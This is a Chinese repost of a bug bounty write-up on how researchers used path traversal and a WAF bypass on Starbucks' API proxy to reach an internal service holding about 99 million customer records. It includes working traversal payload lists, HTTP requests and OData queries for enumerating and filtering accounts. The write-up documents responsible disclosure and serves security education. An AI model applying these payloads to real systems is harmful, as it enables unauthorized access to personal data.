1. 树叶云首页
  2. 技术资讯

漏洞报告：“入侵”星巴克并访问1亿客户记录

管理••技术资讯

Sam花了一整天的尝试，仍然没有在Verizon Media漏洞赏金计划中有所收获，于是，他决定先退出做一些其他事情。他上网准备订购星巴克的礼品卡，作为朋友的生日礼物。

[[330909]]

当sam在星巴克官网上试图购买时，他发现了API调用的可疑之处：在以“ / bff / proxy /”为前缀的API下发送了一些请求，但这些请求返回的数据似乎来自另一台主机。

正好，由于星巴克有一个漏洞赏金计划，于是，继续研究下去吧。

以下是返回sam的用户信息的其中之一的API调用示例：

  1. POST /bff/proxy/orchestra/get-user HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. { 
  6.  
  7.   "data": { 
  8.  
  9.     "user": { 
  10.  
  11.       "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F", 
  12.  
  13.       "firstName": "Sam", 
  14.  
  15.       "lastName": "Curry", 
  16.  
  17.       "email": "[email protected]", 
  18.  
  19.       "partnerNumber": null, 
  20.  
  21.       "birthDay": null, 
  22.  
  23.       "birthMonth": null, 
  24.  
  25.       "loyaltyProgram": null 
  26.  
  27.     } 
  28.  
  29.   } 
  30.  
  31. } 

在上面的示例中，“ app.starbucks.com”主机将无法访问通过特定端点访问的数据，但可以充当假设的第二个主机的代理或中间人，“internal.starbucks.com”。

这里要考虑的一些有趣的事情是……

  • 我们如何测试应用程序的路由?
  • 如果应用程序将请求路由到内部主机，则权限模型是什么样的?
  • 我们可以控制发送到内部主机的请求中的路径或参数吗?
  • 内部主机上是否有开放重定向，如果有，应用程序将遵循开放重定向吗?
  • 返回的内容是否必须匹配适当的类型(是否解析JSON，XML或任何其他数据?)

Sam做的第一件事是尝试遍历API调用，以便可以加载其他路径，而执行此操作的方式是发送以下负载：

  1. /bff/proxy/orchestra/get-user/..%2f 
  2.  
  3. /bff/proxy/orchestra/get-user/..;/ 
  4.  
  5. /bff/proxy/orchestra/get-user/../ 
  6.  
  7. /bff/proxy/orchestra/get-user/..%00/ 
  8.  
  9. /bff/proxy/orchestra/get-user/..%0d/ 
  10.  
  11. /bff/proxy/orchestra/get-user/..%5c 
  12.  
  13. /bff/proxy/orchestra/get-user/..\ 
  14.  
  15. /bff/proxy/orchestra/get-user/..%ff/ 
  16.  
  17. /bff/proxy/orchestra/get-user/%2e%2e%2f 
  18.  
  19. /bff/proxy/orchestra/get-user/.%2e/ 
  20.  
  21. /bff/proxy/orchestra/get-user/%3f (?) 
  22.  
  23. /bff/proxy/orchestra/get-user/%26 (&) 
  24.  
  25. /bff/proxy/orchestra/get-user/%23 (#) 

可惜的是，这些都不起作用。它们都返回了我通常会看到的相同的404页面……

在这种情况下，我们可以将“ / bff / proxy / orchestra / get-user”视为我们正在调用的未包含用户输入的函数。同时，我们有机会找到一个确实接受用户输入的函数，例如“ / bff / proxy / users /：id”，在这里我们有足够的空间测试它将接受的数据。如果我们发现这样的API调用，那么尝试遍历有效负载并发送其他数据(实际上是在用户输入中接收)可能会更有帮助。

Sam仔细留意这个App，发现了更多的API调用。而他发现的接受用户输入的第一个信息是：

  1. GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1  
  2. Host: app.starbucks.com 

这个端点不同于“get user”端点，因为最后一个路径作为参数存在，在其中提供了任意输入。如果将此输入作为内部系统上的路径处理，那么完全可能遍历它并访问其他内部端点。

幸运的是，sam尝试的第一个测试返回了一个非常好的指标，表明可以遍历端点：

  1. GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. { 
  6.  
  7.   "errors": [ 
  8.  
  9.     { 
  10.  
  11.       "message": "Not Found", 
  12.  
  13.       "errorCode": 404, 
  14.  
  15.       ... 

这个JSON响应与“ / bff / proxy”下所有其他常规API调用的JSON响应相同。这表明sam正在使用内部系统，并且已经成功地修改了正在与之交谈的路径。下一步将是映射内部系统，而做到这一点的最佳方法将是通过标识返回“ 400错误请求”的第一条路径遍历到根。

但很快，sam遇到了一个障碍。有一个WAF让他不能深入两个目录：

  1. GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. HTTP/1.1 403 Forbidden 
  6.  
  7. 不过，这个WAF很弱…… 
  8.  
  9. GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1 
  10.  
  11. Host: app.starbucks.com 
  12.  
  13. { 
  14.  
  15.   "errors": [ 
  16.  
  17.     { 
  18.  
  19.       "message": "Not Found", 
  20.  
  21.       "errorCode": 404, 
  22.  
  23.       ... 

最终，在返回7条路径后，sam收到了以下错误：

  1. GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. { 
  6.  
  7.   "errors": [ 
  8.  
  9.     { 
  10.  
  11.       "message": "Bad Request", 
  12.  
  13.       "errorCode": 400, 
  14.  
  15.       ... 

这意味着内部API的根是6个返回路径，可以使用目录暴力破解工具或Burp Suite的入侵者和单词列表将其映射出来。

此时，sam对这个漏洞更加感兴趣了，他和Justin Gardner进行了探讨。

而Justin Gardner几乎立即在内部系统的根目录下识别出许多路径，方法是观察到对这些路径的HTTP请求，之后如果没有正斜杠，就会使用Burp的入侵者返回重定向代码：

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. HTTP/1.1 301 Moved Permanently 
  6.  
  7. Server: nginx 
  8.  
  9. Content-Type: text/html 
  10.  
  11. Content-Length: 162 
  12.  
  13. Location: /search/ 

Justin致力于寻找所有端点时，sam开始逐一研究每个目录。运行完自己的扫描后，sam发现“搜索”下有“v1”，而“v1”下有“账户”和“地址”。

于是，他给Justin发了一条消息，想想如果“ / search / v1 / accounts”端点是对所有生产帐户的搜索，那将是多么有趣……

而事实，果然如此。“ / search / v1 / accounts”可以访问所有星巴克帐户的Microsoft Graph实例。

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. { 
  6.  
  7.   "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", 
  8.  
  9.   "value": [ 
  10.  
  11.     { 
  12.  
  13.       "Id": 1, 
  14.  
  15.       "ExternalId": "12345", 
  16.  
  17.       "UserName": "UserName", 
  18.  
  19.       "FirstName": "FirstName", 
  20.  
  21.       "LastName": "LastName", 
  22.  
  23.       "EmailAddress": "[email protected]", 
  24.  
  25.       "Submarket": "US", 
  26.  
  27.       "PartnerNumber": null, 
  28.  
  29.       "RegistrationDate": "1900-01-01T00:00:00Z", 
  30.  
  31.       "RegistrationSource": "iOSApp", 
  32.  
  33.       "LastUpdated": "2017-06-01T15:32:56.4925207Z" 
  34.  
  35.     }, 
  36.  
  37. ... 
  38.  
  39. lots of production accounts 

此外，“地址”端点返回了类似的信息……

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. { 
  6.  
  7.   "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses", 
  8.  
  9.   "value": [ 
  10.  
  11.     { 
  12.  
  13.       "Id": 1, 
  14.  
  15.       "AccountId": 1, 
  16.  
  17.       "AddressType": "3", 
  18.  
  19.       "AddressLine1": null, 
  20.  
  21.       "AddressLine2": null, 
  22.  
  23.       "AddressLine3": null, 
  24.  
  25.       "City": null, 
  26.  
  27.       "PostalCode": null, 
  28.  
  29.       "Country": null, 
  30.  
  31.       "CountrySubdivision": null, 
  32.  
  33.       "FirstName": null, 
  34.  
  35.       "LastName": null, 
  36.  
  37.       "PhoneNumber": null 
  38.  
  39.     }, 
  40.  
  41. ... 
  42.  
  43. lots of production addresses 

它是为生产帐户和地址提供的服务。随后，sam开始进一步探索该服务，以使用Microsoft Graph功能进行确认。

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. { 
  6.  
  7.   "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", 
  8.  
  9.   "@odata.count":99356059 
  10.  
  11. } 

通过从Microsoft Graph URL添加“ $ count”参数，可以确定该服务具有近1亿条记录。攻击者可以通过添加“ $ skip”和“ $ count”之类的参数枚举所有用户帐户来窃取此数据。

此外，要查明特定的用户帐户，攻击者可以使用“ $ filter”参数：

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. { 
  6.  
  7.   "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", 
  8.  
  9.   "value": [ 
  10.  
  11.     { 
  12.  
  13.       "Id": 81763022, 
  14.  
  15.       "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354", 
  16.  
  17.       "UserName": "[email protected]", 
  18.  
  19.       "FirstName": "Justin", 
  20.  
  21.       "LastName": "Gardner", 
  22.  
  23.       "EmailAddress": "[email protected]", 
  24.  
  25.       "Submarket": "US", 
  26.  
  27.       "PartnerNumber": null, 
  28.  
  29.       "RegistrationDate": "2018-05-19T18:52:15.0763564Z", 
  30.  
  31.       "RegistrationSource": "Android", 
  32.  
  33.       "LastUpdated": "2020-05-16T23:28:39.3426069Z" 
  34.  
  35.     } 
  36.  
  37.   ] 
  38.  
  39. } 

最后，sam还发现的其他一些端点，可能(尚未确认)使攻击者能够访问和修改帐单地址、礼品卡、奖励和优惠等内容。

  1. barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver 

时间线

  • 5月16日报道
  • 5月17日补丁
  • 5月19日颁发赏金(4000美元)
  • 6月16日公开

参考链接：https://samcurry.net/hacking-starbucks/

 

文章来源网络，作者：管理，如若转载，请注明出处：https://shuyeidc.com/wp/147108.html<

赞 (0)
管理的头像管理
00
上一篇2025-03-11 09:51
下一篇 2025-03-11 09:52

相关推荐

  • jsp空间购买和交换数据空间怎么买，有哪些注意事项？技术资讯

    jsp空间购买和交换数据空间怎么买，有哪些注意事项？

    购买JSP空间时，是否考虑过数据交换空间的性能？简米科技（2003年始创，23年行业沉淀）与酷番云（工信部一类增值电信全牌照）这类持牌自营机房的服务商，能确保数据交换的高效稳定，是值得优先选择的合作伙伴，为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    管理的头像管理
    2026-08-11
    0
  • 建网站用香港空间效果怎么样，香港空间稳定吗？技术资讯

    建网站用香港空间效果怎么样，香港空间稳定吗？

    建网站用香港空间，对于创建网站资产来说，核心价值在于免备案和全球带宽优势，尤其适合外贸、跨境电商和需要快速启动的项目，但你必须权衡国内访问延迟，并选择有资质的服务商以保证资产安全，香港空间的核心优势与适用边界免备案：节省时间就是节省成本国内服务器需要备案,通常需要10到20天，香港空间无需备案，域名解析后即可上……

    管理的头像管理
    2026-08-11
    0
  • Java连接云数据库的方法是什么，如何操作技术资讯

    Java连接云数据库的方法是什么，如何操作

    Java连接云数据库的核心在于通过JDBC驱动，结合云服务商提供的连接地址、端口、数据库名及认证信息，配置安全策略（如SSL、IP白名单），即可实现稳定高效的远程数据库访问，基础准备：JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动，以最常见的MySQL为例，你需要引入mysql-c……

    管理的头像管理
    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗，备案流程是什么技术资讯

    建网站公安联网备案必须使用数据码吗，备案流程是什么

    网站备案包括ICP备案和公安联网备案，两者缺一不可，公安联网备案必须使用服务商提供的数据码，选择持有合法资质的服务商是顺利通过备案的前提，为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》，网站开通后30日内必须到公安机关办理备案手续，未完成公安备案的网站，面临责令整改、关闭网站……

    管理的头像管理
    2026-08-10
    0
  • 建一个企业网站大概需要多少钱？，怎么收费？技术资讯

    建一个企业网站大概需要多少钱？，怎么收费？

    建网站要多少钱，没有一个固定的数字，几百到几万都可能，但真正的“创建网站资产”绝不仅仅是初次投入的成本，而是基于长期稳定、合规和安全的持续性投入，其中核心取决于你选择了什么样的“地基”来承载你的业务，建站预算的构成与行业基准当你开始规划一个网站，最先面对的就是预算问题，一个常见的误区是只关注网站“看起来”的建造……

    管理的头像管理
    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注